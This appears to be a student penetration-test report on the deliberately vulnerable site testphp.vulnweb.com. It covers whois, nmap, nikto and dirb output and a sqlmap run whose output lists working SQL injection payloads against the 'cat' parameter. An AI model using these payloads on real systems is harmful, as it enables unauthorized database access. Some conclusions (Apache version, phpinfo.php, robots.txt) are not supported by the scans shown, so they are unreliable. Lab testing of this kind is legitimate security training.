

# Penetration Testing on Web Server

Target: [testphp.vulnweb.com](http://testphp.vulnweb.com)

Prepared by: Rohinish Sharma

Pankaj Singh

## 1. Project Objective:

- To simulate a real-world attack on a test web server by:
- Performing footprinting
- Scanning for vulnerabilities
- Attempting exploitation (ethical test only)
- Collecting evidence of weaknesses

## 2. Footprinting

- Information collected:
  - - IP address of website
  - - Server location and OS
  - - Web server tech and version
  - - Directory listing
  - - Whois, DNS info
  - - Employee emails and LinkedIn profiles.

```
(root@kali)-[~]
# whois vulnweb.com
Domain Name: VULNWEB.COM
Registry Domain ID: 1602006391_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.eurodns.com
Registrar URL: http://www.EuroDNS.com
Updated Date: 2025-05-20T08:14:02Z
Creation Date: 2010-06-14T07:50:29Z
Registry Expiry Date: 2026-06-14T07:50:29Z
Registrar: EuroDNS S.A.
Registrar IANA ID: 1052
Registrar Abuse Contact Email: legalservices@eurodns.com
Registrar Abuse Contact Phone: +352.27220150
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: NS1.EURODNS.COM
Name Server: NS2.EURODNS.COM
Name Server: NS3.EURODNS.COM
Name Server: NS4.EURODNS.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-07-29T15:34:21Z <<<
```

```
(root@kali)-[~]
# nmap -o 44.228.249.3
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-29 11:35 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.06 seconds
```

```
(root@kali)-[~]
# nmap -O 44.228.249.3
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-29 11:37 EDT
Nmap scan report for ec2-44-228-249-3.us-west-2.compute.amazonaws.com (44.228.249.3)
Host is up (0.022s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
554/tcp   open  rtsp
1723/tcp  open  pptp
Warning: OSscan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (97%), Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012 (97%), Actiontec
MI424WR-GEN3I WAP (96%), Linux 3.2 (94%), Microsoft Windows XP SP3 (94%), VMware Player virtual NAT device (94%), Linux 4.4 (93%), BlueA
rc Titan 2100 NAS device (89%)
No exact OS matches for host (test conditions non-ideal).
```

```
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.25 seconds
```

# 3. Vulnerability Scanning

- Tools used: Nikto, Nmap, sqlmap.
- Findings: Web vulnerabilities like outdated software, exposed directories, potential SQL injection points.

```
(root@kali)-[~]
# nikto -h "http://testphp.vulnweb.com"
- Nikto v2.5.0

+ Multiple IPs found: 44.228.249.3, 64:ff9b::2ce4:f903
+ Target IP: 44.228.249.3
+ Target Hostname: testphp.vulnweb.com
+ Target Port: 80
+ Start Time: 2025-07-29 10:56:42 (GMT-4)

+ Server: nginx/1.19.0
+ /: Retrieved x-powered-by header: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /clientaccesspolicy.xml contains a full wildcard entry. See: https://docs.microsoft.com/en-us/previous-versions/windows/silverlight/dot-97955(v=vs.95)?redirectedfrom=MSDN
+ /clientaccesspolicy.xml contains 12 lines which should be manually viewed for improper domains or wildcards. See: https://www.acunetix.com/vulnerabilities/web/clientaccesspolicy-xml-file/
+ /crossdomain.xml contains a full wildcard entry. See: http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site-scripting/
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated: 20 error(s) and 6 item(s) reported on remote host
+ End Time: 2025-07-29 10:59:48 (GMT-4) (186 seconds)

+ 1 host(s) tested
```

```
(root@kali)-[~]
# dirb http://testphp.vulnweb.com /usr/share/wordlists/dirb/common.txt

DIRB v2.22
By The Dark Raver

START_TIME: Tue Jul 29 11:19:24 2025
URL_BASE: http://testphp.vulnweb.com/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt

GENERATED WORDS: 4612

--- Scanning URL: http://testphp.vulnweb.com/ ---
=> DIRECTORY: http://testphp.vulnweb.com/admin/
+ http://testphp.vulnweb.com/cgi-bin (CODE:403|SIZE:276)
+ http://testphp.vulnweb.com/cgi-bin/ (CODE:403|SIZE:276)
+ http://testphp.vulnweb.com/crossdomain.xml (CODE:200|SIZE:224)
=> DIRECTORY: http://testphp.vulnweb.com/CVS/
+ http://testphp.vulnweb.com/CVS/Entries (CODE:200|SIZE:1)
+ http://testphp.vulnweb.com/CVS/Repository (CODE:200|SIZE:8)
+ http://testphp.vulnweb.com/CVS/Root (CODE:200|SIZE:1)
+ http://testphp.vulnweb.com/favicon.ico (CODE:200|SIZE:894)

(!) FATAL: Too many errors connecting to host
(Possible cause: COULDNT CONNECT)

END_TIME: Tue Jul 29 11:32:08 2025
DOWNLOADED: 1641 - FOUND: 7
```

## 4. Exploitation Attempts

- Exploits tested:
  - - SQL Injection
  - - Directory traversal
  - - Brute-forcing login forms
- Tools: sqlmap, Hydra, Burp Suite.



```
sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?cat=1' --dbs
```



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The developers and contributors of sqlmap are not responsible for any misuse or damage caused by this program.

[\*] starting @ 10:51:00 /2025-07-29/

```
[10:51:01] [INFO] testing connection to the target URL
[10:51:02] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:51:03] [INFO] testing if the target URL content is stable
[10:51:03] [INFO] target URL content is stable
[10:51:03] [INFO] testing if GET parameter 'cat' is dynamic
[10:51:03] [INFO] GET parameter 'cat' appears to be dynamic
[10:51:04] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable (possible DBMS: 'MySQL')
[10:51:04] [INFO] heuristic (XSS) test shows that GET parameter 'cat' might be vulnerable to cross-site scripting (XSS) attacks
[10:51:04] [INFO] testing for SQL injection on GET parameter 'cat'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
For the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[10:51:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:51:17] [WARNING] reflective value(s) found and filtering out
[10:51:20] [INFO] GET parameter 'cat' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='The')
[10:51:20] [INFO] testing 'Generic inline queries'
[10:51:20] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:51:20] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[10:51:20] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[10:51:21] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[10:51:21] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[10:51:21] [INFO] GET parameter 'cat' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
[10:51:21] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
```

Parameter: cat (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: cat=1 AND 8993=8993

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID\_SUBSET)

Payload: cat=1 AND GTID\_SUBSET(CONCAT(0x7171706a71,(SELECT (ELT(2946=2946,1))),0x7162626a71),2946)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: cat=1 AND (SELECT 4257 FROM (SELECT(SLEEP(5)))nxQa)

Type: UNION query

Title: Generic UNION query (NULL) - 11 columns

Payload: cat=1 UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x68635950744b595a4b5946737244765a664e6c784a4543486f4e45664a5545474e514e716b674351,0x7162626a71),NULL,N

[10:51:57] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.0, PHP 5.6.40

back-end DBMS: MySQL >= 5.6

[10:52:00] [INFO] fetching database names

available databases: [2]:

[\*] acuart

[\*] information\_schema

[10:52:01] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

[\*] ending @ 10:52:01 /2025-07-29/



## 5. Database Access Check

- Attempted database access using SQLi techniques.
- If successful, tables and contents were extracted using sqlmap.

# 6. Conclusion

- Exposed directories and files (e.g., robots.txt, admin/, phpinfo.php)
- Outdated web technologies (e.g., Apache version, PHP version)
- Input fields vulnerable to SQL Injection and XSS
- Lack of proper access controls and input validation

# 7. Tools Used and Their Purpose

- List of tools:
  - Nmap: Network scanning
  - Nikto: Web server scanning
  - sqlmap: Database testing
  - theHarvester: Email discovery
  - Burp Suite: Manual vulnerability testing.

# 8. References

- Useful references:
  - - SQLMap documentation
  - - MITRE CVE Database
  - - HackerOne reports
  - - Official tool documentation.